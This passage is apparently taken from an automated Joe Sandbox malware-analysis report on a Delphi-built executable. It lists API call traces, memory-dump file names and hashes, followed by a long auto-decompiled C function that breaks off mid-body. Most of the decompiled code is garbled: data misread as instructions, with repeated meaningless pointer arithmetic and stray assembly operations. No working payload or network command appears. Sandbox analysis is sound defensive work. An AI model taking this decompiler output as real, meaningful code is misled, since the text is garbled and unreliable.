                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208,00000000), ref: 0041F436
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister,?,00419208), ref: 0041F44B
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl,00000001,Ctl3dUnregister), ref: 0041F460
                                                            • Part of subcall function 0041F330: 6CAA5550.KERNEL32(00000001,BtnWndProc3d,00000001,Ctl3DColorChange,00000001,Ctl3dUnAutoSubclass,00000001,Ctl3dAutoSubclass,00000001,Ctl3dCtlColorEx,00000001,Ctl3dDlgFramePaint,00000001,Ctl3dSubclassDlgEx,00000001,Ctl3dSubclassCtl), ref: 0041F475
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: A5550$AtomCharCurrentErrorGlobalLoadMode$B380EnumFileFontsIconLibraryLowerModuleNameProcessThreadVersion
                                                          • String ID: ControlOfs%.8X%.8X$Delphi%.8X
                                                          • API String ID: 792689648-2767913252
                                                          • Opcode ID: e13380655b83e54431d32c3d2751868425e568a424df7e18e5881c1193dfffb5
                                                          • Instruction ID: abf9e9e911ae98e12a27bc86db2dff3641ad5eb162e59bac8fe589a6aa7d8dd0
                                                          • Opcode Fuzzy Hash: e13380655b83e54431d32c3d2751868425e568a424df7e18e5881c1193dfffb5
                                                          • Instruction Fuzzy Hash: 5E112C70A192405AC700FF76994264E77E0AB9830CF40993FF848AB3D1EB39A945CB1E
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 54%
                                                          			E00413438(void* __eax, signed char __ebx, void* __ecx, signed int __edx, signed int __edi, signed int __esi, char _a1, struct HWND__* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a64) {
                                                          				intOrPtr _v4;
                                                          				struct HWND__* _v12;
                                                          				char _v24;
                                                          				signed int _t357;
                                                          				signed int _t358;
                                                          				void* _t359;
                                                          				signed int _t360;
                                                          				signed int _t364;
                                                          				struct HWND__* _t365;
                                                          				void* _t367;
                                                          				void* _t371;
                                                          				void* _t375;
                                                          				void* _t383;
                                                          				void* _t384;
                                                          				void* _t389;
                                                          				void* _t392;
                                                          				signed int _t394;
                                                          				signed char _t395;
                                                          				void* _t396;
                                                          				signed char _t398;
                                                          				intOrPtr* _t399;
                                                          				signed char _t403;
                                                          				void* _t404;
                                                          				signed char _t405;
                                                          				signed int _t409;
                                                          				void* _t414;
                                                          				signed int _t415;
                                                          				signed int _t416;
                                                          				signed int _t417;
                                                          				void* _t418;
                                                          				signed int _t419;
                                                          				signed int* _t420;
                                                          				signed int _t424;
                                                          				void* _t426;
                                                          				signed int _t427;
                                                          				void* _t428;
                                                          				signed int _t430;
                                                          				signed int* _t432;
                                                          				signed int _t433;
                                                          				signed int* _t434;
                                                          				signed int _t435;
                                                          				intOrPtr* _t439;
                                                          				signed int _t440;
                                                          				void* _t441;
                                                          				void* _t442;
                                                          				void* _t444;
                                                          				signed char _t445;
                                                          				signed int* _t449;
                                                          				signed int _t451;
                                                          				signed int* _t453;
                                                          				signed int* _t454;
                                                          				signed int* _t456;
                                                          				void* _t459;
                                                          				signed int* _t460;
                                                          				void* _t461;
                                                          				void* _t463;
                                                          				signed int _t464;
                                                          				void* _t465;
                                                          				void* _t466;
                                                          				void* _t467;
                                                          				void* _t468;
                                                          				signed int _t470;
                                                          				signed int _t472;
                                                          				void* _t473;
                                                          				signed int _t474;
                                                          				signed int _t475;
                                                          				signed int _t480;
                                                          				intOrPtr _t493;
                                                          				void* _t497;
                                                          				intOrPtr _t498;
                                                          				signed int _t499;
                                                          				intOrPtr _t501;
                                                          				intOrPtr _t503;
                                                          				intOrPtr* _t504;
                                                          				void* _t515;
                                                          				intOrPtr _t516;
                                                          				intOrPtr _t517;
                                                          				signed int _t521;
                                                          				void* _t534;
                                                          				void* _t539;
                                                          				signed int _t545;
                                                          				signed int _t548;
                                                          				signed int _t550;
                                                          				void* _t556;
                                                          				void* _t558;
                                                          				signed char _t563;
                                                          				signed char _t565;
                                                          				signed int _t567;
                                                          				signed char _t580;
                                                          
                                                          				_t474 = __esi;
                                                          				_t472 = __edi;
                                                          				_t470 = __edx;
                                                          				_t403 = __ebx;
                                                          				_t409 = __ecx + 1;
                                                          				_t357 = __eax + _t409;
                                                          				if(_t357 >= 0) {
                                                          					L13:
                                                          					if(_t493 > 0) {
                                                          						 *(_t470 + 0x41) =  *(_t470 + 0x41) - _t403;
                                                          					} else {
                                                          						 *((intOrPtr*)(_t357 + 0x24004177)) =  *((intOrPtr*)(_t357 + 0x24004177)) + _t470;
                                                          						goto L15;
                                                          					}
                                                          				} else {
                                                          					 *_t357 =  *_t357 + __edx;
                                                          					if( *_t357 < 0) {
                                                          						L15:
                                                          						_t357 = 0x77;
                                                          						_t468 = _t409 + 1;
                                                          					} else {
                                                          						 *((intOrPtr*)(_t357 + 0x72)) =  *((intOrPtr*)(_t357 + 0x72)) + _t357;
                                                          						_t464 = _t409 + 1;
                                                          						_t3 = _t357 - 0x5fffbe8e;
                                                          						 *_t3 =  *((intOrPtr*)(_t357 - 0x5fffbe8e)) + _t357;
                                                          						if( *_t3 < 0) {
                                                          							if(_t497 < 0) {
                                                          								_t467 = _t464 + 1;
                                                          							} else {
                                                          								_t409 = _t464 + 1;
                                                          								_t35 = _t357 - 0x33ffbe88;
                                                          								 *_t35 =  *((intOrPtr*)(_t357 - 0x33ffbe88)) + _t403;
                                                          								_t498 =  *_t35;
                                                          								goto L20;
                                                          							}
                                                          						} else {
                                                          							_t357 = _t357 + _t357;
                                                          							if(_t357 < 0) {
                                                          								L20:
                                                          								_t358 = _t357;
                                                          								if(_t498 < 0) {
                                                          									if(_t515 != 0) {
                                                          										_t480 = _t480 + 1;
                                                          										if(_t534 < 0) {
                                                          											goto L91;
                                                          										} else {
                                                          											 *_t358 =  *_t358 + _t358;
                                                          											goto L74;
                                                          										}
                                                          									} else {
                                                          										_t66 = _t403 + 0x7a580041 + _t472 * 2;
                                                          										 *_t66 =  *((intOrPtr*)(_t403 + 0x7a580041 + _t472 * 2)) + _t358;
                                                          										_t516 =  *_t66;
                                                          										goto L47;
                                                          									}
                                                          								} else {
                                                          									_t358 = _t358 + _t409;
                                                          									_t499 = _t358;
                                                          									goto L22;
                                                          								}
                                                          							} else {
                                                          								_t358 = _t357 + _t464;
                                                          								if(_t358 < 0) {
                                                          									L22:
                                                          									asm("int3");
                                                          									if(_t499 < 0) {
                                                          										L47:
                                                          										asm("movsb");
                                                          										if(_t516 != 0) {
                                                          											L74:
                                                          											 *((intOrPtr*)(_t358 + 0x75140041)) =  *((intOrPtr*)(_t358 + 0x75140041)) + _t358;
                                                          											goto L75;
                                                          										} else {
                                                          											_t72 = _t358 + 0x7a;
                                                          											 *_t72 =  *((intOrPtr*)(_t358 + 0x7a)) + _t403;
                                                          											_t517 =  *_t72;
                                                          											goto L49;
                                                          										}
                                                          									} else {
                                                          										_t358 = _t358 + _t409;
                                                          										if(_t358 < 0) {
                                                          											L49:
                                                          											_pop(_t358);
                                                          											if(_t517 != 0) {
                                                          												L75:
                                                          												asm("adc al, 0x75");
                                                          												_t409 = _t409 + 1;
                                                          											} else {
                                                          												 *((intOrPtr*)(_t409 + 0x79c40041 + _t472 * 2)) =  *((intOrPtr*)(_t409 + 0x79c40041 + _t472 * 2)) + _t409;
                                                          												goto L51;
                                                          											}
                                                          										} else {
                                                          											_t37 = _t358 + 0x79;
                                                          											 *_t37 =  *((intOrPtr*)(_t358 + 0x79)) + _t409;
                                                          											_t501 =  *_t37;
                                                          											goto L25;
                                                          										}
                                                          									}
                                                          								} else {
                                                          									 *((intOrPtr*)(__ebx + __esi * 2)) =  *((intOrPtr*)(__ebx + __esi * 2)) + _t464;
                                                          									_t409 = _t464 + 1;
                                                          									 *_t358 =  *_t358 + __edx;
                                                          									if( *_t358 >= 0) {
                                                          										L25:
                                                          										_push(0x8c004179);
                                                          										if(_t501 >= 0) {
                                                          											L51:
                                                          											asm("les edi, [ecx+0x41]");
                                                          											_t360 = _t358 + _t470;
                                                          											if(_t360 >= 0) {
                                                          												_t480 = _t480 - 1;
                                                          												if(_t539 != 0) {
                                                          													goto L95;
                                                          												} else {
                                                          													 *((intOrPtr*)(_t358 + 0x76)) =  *((intOrPtr*)(_t358 + 0x76)) + _t409;
                                                          													goto L80;
                                                          												}
                                                          											} else {
                                                          												_t358 = _t360 + _t403;
                                                          												if(_t358 >= 0) {
                                                          													L80:
                                                          													_t360 = _t358 - 1;
                                                          													if(_t360 <= 0) {
                                                          														goto L97;
                                                          													} else {
                                                          														 *((intOrPtr*)(_t472 + _t474 * 2)) =  *((intOrPtr*)(_t472 + _t474 * 2)) + _t470;
                                                          														goto L82;
                                                          													}
                                                          												} else {
                                                          													_t360 = _t358 + _t409;
                                                          													_t521 = _t360;
                                                          													goto L54;
                                                          												}
                                                          											}
                                                          										} else {
                                                          											 *((intOrPtr*)(_t470 + _t474 * 2)) =  *((intOrPtr*)(_t470 + _t474 * 2)) + _t409;
                                                          											goto L27;
                                                          										}
                                                          									} else {
                                                          										 *((intOrPtr*)(__ebx + 0x41 + __esi * 2)) =  *((intOrPtr*)(__ebx + 0x41 + __esi * 2)) + _t409;
                                                          										_t358 = _t358 + __ebx;
                                                          										if(_t358 >= 0) {
                                                          											L27:
                                                          											_t360 = _t358 - 0x72;
                                                          											 *((intOrPtr*)(_t360 + 0x72)) =  *((intOrPtr*)(_t360 + 0x72)) + _t360;
                                                          											_t409 = _t409 + 2;
                                                          											_t45 = _t360 + 0x72;
                                                          											 *_t45 =  *((intOrPtr*)(_t360 + 0x72)) + _t470;
                                                          											_t503 =  *_t45;
                                                          											goto L28;
                                                          										} else {
                                                          											 *((intOrPtr*)(_t480 + __esi * 2)) =  *((intOrPtr*)(_t480 + __esi * 2)) + __ebx;
                                                          											_t409 = _t409 + 1;
                                                          											 *_t358 =  *_t358 + __edx;
                                                          											if( *_t358 == 0) {
                                                          												L28:
                                                          												_push(_t360);
                                                          												if(_t503 < 0) {
                                                          													L54:
                                                          													asm("int3");
                                                          													if(_t521 != 0) {
                                                          														L82:
                                                          														asm("adc al, 0x77");
                                                          														_t465 = _t409 + 1;
                                                          														 *((intOrPtr*)(_t465 + _t472 * 2)) =  *((intOrPtr*)(_t465 + _t472 * 2)) + _t465;
                                                          														_t398 = _t360 | 0x00000079;
                                                          														_t464 = _t465 + 1;
                                                          														 *((intOrPtr*)(_t398 + 0x41 + _t464 * 4)) =  *((intOrPtr*)(_t398 + 0x41 + _t464 * 4)) + _t398;
                                                          														 *[fs:ecx] = _t398;
                                                          														_t124 = _t470 - 0x79b3ffbf;
                                                          														 *_t124 =  *(_t470 - 0x79b3ffbf) & _t398;
                                                          														_t545 =  *_t124;
                                                          														_t480 = _t480 - 1;
                                                          														_t360 =  *_t464;
                                                          														 *_t464 = _t398;
                                                          														_t470 = _t470 |  *(_t472 + 0x69 + _t470 * 2);
                                                          														asm("outsb");
                                                          														_t403 = _t403 + 1;
                                                          														asm("outsd");
                                                          														asm("outsb");
                                                          														if(_t545 == 0) {
                                                          															L103:
                                                          															_t409 = _t464 + 1;
                                                          															 *_t360 =  *_t360 + _t409;
                                                          															_t396 = _t360 - 0x40;
                                                          															 *((intOrPtr*)(_t396 + 0x2c)) =  *((intOrPtr*)(_t396 + 0x2c)) + _t470;
                                                          															_t358 = _t396 + 1 + _t403;
                                                          															 *_t409 = _t358;
                                                          															asm("enter 0x40ba, 0x0");
                                                          															goto L104;
                                                          														} else {
                                                          															asm("outsd");
                                                          															asm("insb");
                                                          															_pop(es);
                                                          															_t470 = _t470 |  *(_t472 + 0x69 + _t470 * 2);
                                                          															asm("outsb");
                                                          															L91:
                                                          															_t403 = _t403 + 1;
                                                          															asm("outsd");
                                                          															asm("outsb");
                                                          															if(_t403 == 0) {
                                                          																L104:
                                                          																_t470 = 0x55fc0040;
                                                          																_t359 = _t358 + _t358;
                                                          																goto L105;
                                                          															} else {
                                                          																asm("outsd");
                                                          																asm("insb");
                                                          																 *_t403 =  *_t403 - _t470;
                                                          																_t395 = _t358 ^  *_t409;
                                                          																asm("adc al, 0x32");
                                                          																_t360 = _t395 ^  *_t409;
                                                          																 *_t360 =  *_t360 | _t360;
                                                          																_t133 = _t403 + 0x6f;
                                                          																 *_t133 =  *(_t403 + 0x6f) | _t360;
                                                          																_t548 =  *_t133;
                                                          																L95:
                                                          																asm("outsb");
                                                          																if(_t548 == 0) {
                                                          																	L106:
                                                          																	 *((intOrPtr*)(_t360 + 0x2c004146)) =  *((intOrPtr*)(_t360 + 0x2c004146)) + _t409;
                                                          																	_t404 = _t403 - 1;
                                                          																	 *((intOrPtr*)(_t360 + 8)) =  *((intOrPtr*)(_t360 + 8)) + _t470;
                                                          																	_t414 = _t409 + 2;
                                                          																	 *((intOrPtr*)(_t360 + 8)) =  *((intOrPtr*)(_t360 + 8)) + _t414;
                                                          																	_t415 = _t414 + 1;
                                                          																	 *((intOrPtr*)(_t360 + 0x49580041 + _t415 * 4)) =  *((intOrPtr*)(_t360 + 0x49580041 + _t415 * 4)) + _t360;
                                                          																	_t416 = _t415 + 1;
                                                          																	 *((intOrPtr*)(_t360 + 0x4fa80041 + _t416 * 2)) =  *((intOrPtr*)(_t360 + 0x4fa80041 + _t416 * 2)) + _t404;
                                                          																	goto L107;
                                                          																} else {
                                                          																	asm("outsd");
                                                          																	L97:
                                                          																	asm("insb");
                                                          																	if(_t548 < 0) {
                                                          																		 *((intOrPtr*)(_t403 + 0x40)) =  *((intOrPtr*)(_t403 + 0x40)) + _t470;
                                                          																	}
                                                          																	_push(_t480);
                                                          																	 *0xd00040 = _t360;
                                                          																	asm("rol byte [eax], 1");
                                                          																	_t403 = _t403 + _t403 + _t403 + _t403;
                                                          																	 *_t360 =  *_t360 + _t360;
                                                          																	 *_t360 =  *_t360 + _t360;
                                                          																	 *_t360 =  *_t360 + _t360;
                                                          																	 *_t360 =  *_t360 + _t360;
                                                          																	 *_t360 =  *_t360 | _t360;
                                                          																	_t416 = _t409 |  *(_t360 + 0x65);
                                                          																	_t550 = _t416;
                                                          																	asm("insb");
                                                          																	if(_t550 < 0) {
                                                          																		L105:
                                                          																		_t360 = _t359 + _t403;
                                                          																		_t474 = _t474 + 1;
                                                          																		_t409 = 0x8540042;
                                                          																		goto L106;
                                                          																	} else {
                                                          																		asm("outsd");
                                                          																		asm("outsb");
                                                          																		if(_t550 == 0) {
                                                          																			L107:
                                                          																			 *((intOrPtr*)(_t360 - 0x3fffbeb1)) =  *((intOrPtr*)(_t360 - 0x3fffbeb1)) + _t416;
                                                          																			_t475 =  &_a1;
                                                          																			_t417 = _t416 + 1;
                                                          																			 *((intOrPtr*)(_t474 + 0x41 + _t360 * 2)) =  *((intOrPtr*)(_t474 + 0x41 + _t360 * 2)) + _t470;
                                                          																			 *((intOrPtr*)(_t480 + _t417 * 2)) =  *((intOrPtr*)(_t480 + _t417 * 2)) + _t470;
                                                          																			_t418 = _t417 + 1;
                                                          																			 *((intOrPtr*)(_t360 + 0x20004154)) =  *((intOrPtr*)(_t360 + 0x20004154)) + _t418;
                                                          																		} else {
                                                          																			if(_t550 >= 0) {
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				_t480 = _t480 + 1;
                                                          																				_t461 = _t416 + 1;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *_t360 =  *_t360 + _t360;
                                                          																				 *((intOrPtr*)(_t474 + _t474)) =  *((intOrPtr*)(_t474 + _t474)) + _t461;
                                                          																				 *((intOrPtr*)(_t474 + _t474)) =  *((intOrPtr*)(_t474 + _t474)) + _t470;
                                                          																				_t463 = _t461 + 2;
                                                          																				 *((intOrPtr*)(_t360 + _t360 + 0x30a40000)) =  *((intOrPtr*)(_t360 + _t360 + 0x30a40000)) + _t463;
                                                          																				_t464 = _t463 + 1;
                                                          																				 *((intOrPtr*)(0x2c280041 + _t470 * 2)) =  *((intOrPtr*)(0x2c280041 + _t470 * 2)) + _t470;
                                                          																				goto L103;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t399 = _t360 + _t470;
                                                          														goto L56;
                                                          													}
                                                          												} else {
                                                          													_t399 = _t360 + _t403;
                                                          													_t504 = _t399;
                                                          													goto L30;
                                                          												}
                                                          											} else {
                                                          												 *_t358 =  *_t358 + _t409;
                                                          												if( *_t358 <= 0) {
                                                          													L30:
                                                          													asm("cld");
                                                          													if(_t504 >= 0) {
                                                          														L56:
                                                          														asm("aam 0x7b");
                                                          														_t466 = _t409 + 1;
                                                          													} else {
                                                          														 *_t399 =  *_t399 + _t470;
                                                          														goto L32;
                                                          													}
                                                          												} else {
                                                          													 *_t358 =  *_t358 + _t409;
                                                          													if( *_t358 <= 0) {
                                                          														L32:
                                                          														asm("adc [edx+0x41], bh");
                                                          													} else {
                                                          														_t399 = _t358 + __edx;
                                                          														if(_t399 <= 0) {
                                                          															asm("sbb [edx+0x41], bh");
                                                          														} else {
                                                          															_t399 = _t399 + __edx;
                                                          															if(_t399 <= 0) {
                                                          																 *(_t470 + 0x41) =  *(_t470 + 0x41) & _t403;
                                                          															} else {
                                                          																_t19 = _t399 - 0x4fffbe89;
                                                          																 *_t19 =  *((intOrPtr*)(_t399 - 0x4fffbe89)) + __edx;
                                                          																_t493 =  *_t19;
                                                          																goto L13;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										}
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				 *(_t418 + _t360 * 2) = _t470;
                                                          				 *(_t418 + 0x41) =  *(_t418 + 0x41) & _t470;
                                                          				 *((intOrPtr*)(_t418 + 0x41 + _t470 * 2)) =  *((intOrPtr*)(_t418 + 0x41 + _t470 * 2)) + _t404;
                                                          				 *((intOrPtr*)(_t360 + 0x60004147)) =  *((intOrPtr*)(_t360 + 0x60004147)) + _t418;
                                                          				_push(_t418);
                                                          				_t419 = _t418 + 1;
                                                          				 *((intOrPtr*)(_t360 + 0x1004189)) =  *((intOrPtr*)(_t360 + 0x1004189)) + _t360;
                                                          				 *_t472 =  *_t472 + _t419;
                                                          				 *((intOrPtr*)(_t419 + _t419 * 4)) =  *((intOrPtr*)(_t419 + _t419 * 4)) + _t360;
                                                          				_t420 = _t419 + 1;
                                                          				 *_t472 =  *_t472 + _t420;
                                                          				_push(_t480);
                                                          				_t473 = _t472 + 1;
                                                          				_t556 = _t473;
                                                          				if(_t556 < 0) {
                                                          					L114:
                                                          					_t360 = _t360 + 1 + _t360 + 1;
                                                          					 *_t420 = es;
                                                          					asm("enter 0x40ba, 0x0");
                                                          					goto L115;
                                                          				} else {
                                                          					if(_t556 < 0) {
                                                          						L115:
                                                          						_push(_t475);
                                                          						_t360 = _t360 + _t404 + _t360 + _t404 + _t404;
                                                          						_t474 = _t474 + 1;
                                                          						_t420 = 0x8540042;
                                                          						 *((intOrPtr*)(_t360 + 0x5d)) =  *((intOrPtr*)(_t360 + 0x5d)) + 0x8540042;
                                                          						goto L116;
                                                          					} else {
                                                          						_t480 =  *(_t404 + 0x43) * 0x72746e6f;
                                                          						asm("outsd");
                                                          						asm("insb");
                                                          						_pop(es);
                                                          						asm("andps xmm0, [edi+0x72]");
                                                          						asm("popad");
                                                          						if(_t480 < 0) {
                                                          							L116:
                                                          							_t360 = _t360 - 1;
                                                          							_t424 =  &(_t420[0]);
                                                          							 *((intOrPtr*)(_t404 + _t424 * 2)) =  *((intOrPtr*)(_t404 + _t424 * 2)) + _t424;
                                                          							 *((intOrPtr*)(_t360 + 8)) =  *((intOrPtr*)(_t360 + 8)) + _t470;
                                                          							_t426 = _t424 + 2;
                                                          							 *((intOrPtr*)(_t360 + 8)) =  *((intOrPtr*)(_t360 + 8)) + _t426;
                                                          							_t427 = _t426 + 1;
                                                          							 *((intOrPtr*)(_t480 + 0x41 + _t427 * 4)) =  *((intOrPtr*)(_t480 + 0x41 + _t427 * 4)) + _t427;
                                                          							 *((intOrPtr*)(_t480 + _t360 * 4)) =  *((intOrPtr*)(_t480 + _t360 * 4)) + _t427;
                                                          							_t428 = _t427 + 1;
                                                          							 *((intOrPtr*)(_t480 + _t360 * 4)) =  *((intOrPtr*)(_t480 + _t360 * 4)) + _t428;
                                                          							 *((intOrPtr*)(_t360 - 0x3fffbe7e)) =  *((intOrPtr*)(_t360 - 0x3fffbe7e)) + _t360;
                                                          							_t475 =  &_a1;
                                                          							_t430 = _t428 + 2;
                                                          						} else {
                                                          							_t480 =  *(_t404 + 0x43) * 0x72746e6f;
                                                          							asm("outsd");
                                                          							asm("insb");
                                                          							asm("aam 0x35");
                                                          							 *((intOrPtr*)(_t470 + _t474)) =  *((intOrPtr*)(_t470 + _t474)) + _t470;
                                                          							_t430 =  &(_t420[0]);
                                                          							 *_t360 =  *_t360 + _t430;
                                                          							 *_t360 =  *_t360 + _t430;
                                                          							_t404 = _t404 + 1;
                                                          							_t558 = _t404;
                                                          							asm("outsd");
                                                          							asm("outsb");
                                                          							if(_t558 != 0) {
                                                          								asm("outsd");
                                                          								asm("insb");
                                                          								if (_t558 >= 0) goto L113;
                                                          								 *((intOrPtr*)(_t404 + 0xc0)) =  *((intOrPtr*)(_t404 + 0xc0)) + _t430;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t404;
                                                          								asm("aaa");
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								asm("aaa");
                                                          								_t459 = _t430 + 2;
                                                          								 *_t360 =  *_t360 + _t459;
                                                          								asm("aaa");
                                                          								_t460 = _t459 + 1;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 =  *_t360 + _t360;
                                                          								 *_t360 = _t460 +  *_t360;
                                                          								_t394 = _t360 ^  *_t460;
                                                          								_pop(_t480);
                                                          								asm("insd");
                                                          								_t420 =  &(_t460[0]);
                                                          								 *_t394 =  *_t394 + _t420;
                                                          								_t360 = _t394 - 0x40;
                                                          								 *((intOrPtr*)(_t360 + 0x2c)) =  *((intOrPtr*)(_t360 + 0x2c)) + _t470;
                                                          								goto L114;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				 *((intOrPtr*)(_t474 + 0x41 + _t360 * 2)) =  *((intOrPtr*)(_t474 + 0x41 + _t360 * 2)) + _t470;
                                                          				 *((intOrPtr*)(_t480 + _t430 * 2)) =  *((intOrPtr*)(_t480 + _t430 * 2)) + _t470;
                                                          				 *((intOrPtr*)(_t480 + _t475 * 2)) =  *((intOrPtr*)(_t480 + _t475 * 2)) + _t470;
                                                          				_t432 = _t430 + 2;
                                                          				_t364 = _t360 + _t470;
                                                          				 *_t432 =  *_t432 + 0x1c;
                                                          				 *_t432 =  *_t432 + 0xffffffe8;
                                                          				if( *_t432 <= 0) {
                                                          					L121:
                                                          					_t405 = _t404 + 1;
                                                          					asm("outsd");
                                                          					asm("outsb");
                                                          					if(_t405 == 0) {
                                                          						goto L130;
                                                          					} else {
                                                          						asm("outsd");
                                                          						asm("insb");
                                                          						_pop(es);
                                                          						_push(cs);
                                                          						_push(_t480);
                                                          						_t405 = _t405 + 1;
                                                          						_t565 = _t405;
                                                          						if(_t565 != 0) {
                                                          							goto L132;
                                                          						} else {
                                                          							if(_t565 == 0) {
                                                          								goto L131;
                                                          							} else {
                                                          								asm("insd");
                                                          								_t405 = _t405 + 1;
                                                          								asm("outsd");
                                                          								asm("outsb");
                                                          								if(_t405 == 0) {
                                                          									goto L133;
                                                          								} else {
                                                          									asm("outsd");
                                                          									asm("insb");
                                                          									_t364 =  *0x58004136 ^ 0x00090041;
                                                          									_t264 = _t405 + 0x6f;
                                                          									 *_t264 =  *(_t405 + 0x6f) | _t364;
                                                          									_t567 =  *_t264;
                                                          									asm("outsb");
                                                          									if(_t567 != 0) {
                                                          										asm("outsd");
                                                          										asm("insb");
                                                          										if (_t567 >= 0) goto L127;
                                                          										_a64 = _a64 + _t432;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 ^ _t405;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *((intOrPtr*)(_t364 + _t473)) =  *((intOrPtr*)(_t364 + _t473)) + _t405;
                                                          										 *((intOrPtr*)(_t364 + _t473)) =  *((intOrPtr*)(_t364 + _t473)) + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *_t364 =  *_t364 + _t364;
                                                          										 *((intOrPtr*)(_t364 + 0x5c004136)) =  *((intOrPtr*)(_t364 + 0x5c004136)) + _t364;
                                                          										asm("insd");
                                                          										_t449 =  &(_t432[1]);
                                                          										 *_t364 = _t449 +  *_t364;
                                                          										_t389 = _t364 - 0x40;
                                                          										 *((intOrPtr*)(_t389 + 0x2c)) =  *((intOrPtr*)(_t389 + 0x2c)) + _t470;
                                                          										 *_t449 = es;
                                                          										asm("enter 0x40ba, 0x0");
                                                          										asm("cld");
                                                          										_push(_t475);
                                                          										_t392 = _t389 + 1 + _t389 + 1 + _t389 + 1 + _t389 + 1;
                                                          										_t451 = 0x8540040;
                                                          										goto L128;
                                                          									}
                                                          								}
                                                          							}
                                                          						}
                                                          					}
                                                          				} else {
                                                          					 *_t364 =  *_t364 + _t364;
                                                          					 *_t432 =  *_t432 + 0x28;
                                                          					asm("popad");
                                                          					 *((intOrPtr*)(_t364 + 0x41 + _t475 * 2)) =  *((intOrPtr*)(_t364 + 0x41 + _t475 * 2)) + _t404;
                                                          					 *_t364 =  *_t364 + _t364;
                                                          					_t453 =  &(_t432[0]);
                                                          					 *((intOrPtr*)(_t364 + 0x67)) =  *((intOrPtr*)(_t364 + 0x67)) + _t453;
                                                          					_t454 =  &(_t453[0]);
                                                          					 *_t364 = _t454 +  *_t364;
                                                          					 *((intOrPtr*)(_t364 + _t475 * 2)) =  *((intOrPtr*)(_t364 + _t475 * 2)) + _t364;
                                                          					_t456 =  &(_t454[0]);
                                                          					 *((intOrPtr*)(_t473 - 0x730bffbf)) =  *((intOrPtr*)(_t473 - 0x730bffbf)) + _t456;
                                                          					_t451 =  &(_t456[0]);
                                                          					 *_t364 =  *_t364 + _t404;
                                                          					 *_t451 =  *_t451 + E0041839C;
                                                          					_t364 = _t451;
                                                          					 *_t364 =  *_t364 + _t364;
                                                          					asm("verw sp");
                                                          					 *_t451 = es;
                                                          					_push(cs);
                                                          					_push(_t480);
                                                          					_t405 = _t404 + 1;
                                                          					_t563 = _t405;
                                                          					if(_t563 != 0) {
                                                          						L129:
                                                          						_push(_t480);
                                                          						 *_t451 =  *_t451 | _t364;
                                                          						asm("clc");
                                                          						_t474 = _t474 + 1;
                                                          						_t432 = _t451 + 1;
                                                          						L130:
                                                          						 *((intOrPtr*)(_t364 + 0x5d)) =  *((intOrPtr*)(_t364 + 0x5d)) + _t432;
                                                          						_t433 =  &(_t432[0]);
                                                          						 *((intOrPtr*)(_t405 + _t433 * 2)) =  *((intOrPtr*)(_t405 + _t433 * 2)) + _t433;
                                                          						_t432 = _t433 + 1;
                                                          						L131:
                                                          						 *((intOrPtr*)(_t364 + 8)) =  *((intOrPtr*)(_t364 + 8)) + _t470;
                                                          						L132:
                                                          						 *_t432 =  *_t432 | _t364;
                                                          						_push(0x84004108);
                                                          						L133:
                                                          						_t434 =  &(_t432[0]);
                                                          						 *((intOrPtr*)(_t480 + _t364 * 4)) =  *((intOrPtr*)(_t480 + _t364 * 4)) + _t434;
                                                          						_t432 =  &(_t434[0]);
